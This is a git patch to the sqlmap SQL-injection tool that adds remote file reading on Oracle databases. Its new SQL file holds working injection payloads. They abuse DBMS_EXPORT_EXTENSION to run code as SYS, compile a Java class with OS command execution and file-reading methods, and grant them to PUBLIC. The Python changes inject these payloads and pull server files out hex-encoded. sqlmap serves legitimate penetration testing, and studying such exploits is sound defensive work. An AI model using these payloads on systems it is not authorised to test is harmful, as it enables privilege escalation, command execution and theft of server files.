From c00a6425698b998b56d6ed5616f06c9dbbf98f3e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Jun 2019 14:21:26 +0200 Subject: [PATCH] Implementing support for --file-read on Oracle (Issue #26) --- .../oracle/read_file_export_extension.sql | 4 ++ lib/core/agent.py | 4 +- lib/core/settings.py | 2 +- lib/techniques/error/use.py | 13 +++--- plugins/dbms/oracle/filesystem.py | 43 +++++++++++++++++-- 5 files changed, 55 insertions(+), 11 deletions(-) create mode 100644 data/procs/oracle/read_file_export_extension.sql diff --git a/data/procs/oracle/read_file_export_extension.sql b/data/procs/oracle/read_file_export_extension.sql new file mode 100644 index 000000000..3d66bbaf5 --- /dev/null +++ b/data/procs/oracle/read_file_export_extension.sql @@ -0,0 +1,4 @@ +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL diff --git a/lib/core/agent.py b/lib/core/agent.py index dbcb68dfb..17b4bc68c 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -265,7 +265,7 @@ class Agent(object): return query - def suffixQuery(self, expression, comment=None, suffix=None, where=None): + def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmpty=True): """ This method appends the DBMS comment to the SQL injection request @@ -303,7 +303,7 @@ class Agent(object): expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER) - return re.sub(r";\W*;", ";", expression) + return re.sub(r";\W*;", ";", expression) if trimEmpty else expression def cleanupPayload(self, payload, origValue=None): if payload is None: diff --git a/lib/core/settings.py b/lib/core/settings.py index ff7f3b1c5..308672b5d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.6" +VERSION = "1.3.6.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 3071e4f10..841caea30 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -74,7 +74,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): threadData.resumed = retVal is not None and not partialValue - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) @@ -82,8 +82,11 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) - testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) - testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) + if Backend.isDbms(DBMS.ORACLE): + testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar) + else: + testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) + testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) @@ -112,7 +115,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): if field: nulledCastedField = agent.nullAndCastField(field) - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) @@ -172,7 +175,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): else: output = output.rstrip() - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)): if offset == 1: retVal = output else: diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index 85f59261d..715324445 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -5,14 +5,51 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.agent import agent +from lib.core.common import dataToOutFile +from lib.core.common import decodeDbmsHexValue +from lib.core.common import getSQLSnippet +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject +from lib.request.connect import Connect as Request from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): - errMsg = "File system read access not yet implemented for " - errMsg += "Oracle" - raise SqlmapUnsupportedFeatureException(errMsg) + localFilePaths = [] + snippet = getSQLSnippet(DBMS.ORACLE, "read_file_export_extension") + + for query in snippet.split("\n"): + query = query.strip() + query = agent.prefixQuery("OR (%s) IS NULL" % query) + query = agent.suffixQuery(query, trimEmpty=False) + payload = agent.payload(newValue=query) + Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) + + for remoteFile in remoteFile.split(','): + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + kb.fileReadMode = True + fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + kb.fileReadMode = False + + if fileContent is not None: + fileContent = decodeDbmsHexValue(fileContent, True) + + if fileContent: + localFilePath = dataToOutFile(remoteFile, fileContent) + + localFilePaths.append(localFilePath) + else: + errMsg = "no data retrieved" + logger.error(errMsg) + + return localFilePaths def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "File system write access not yet implemented for "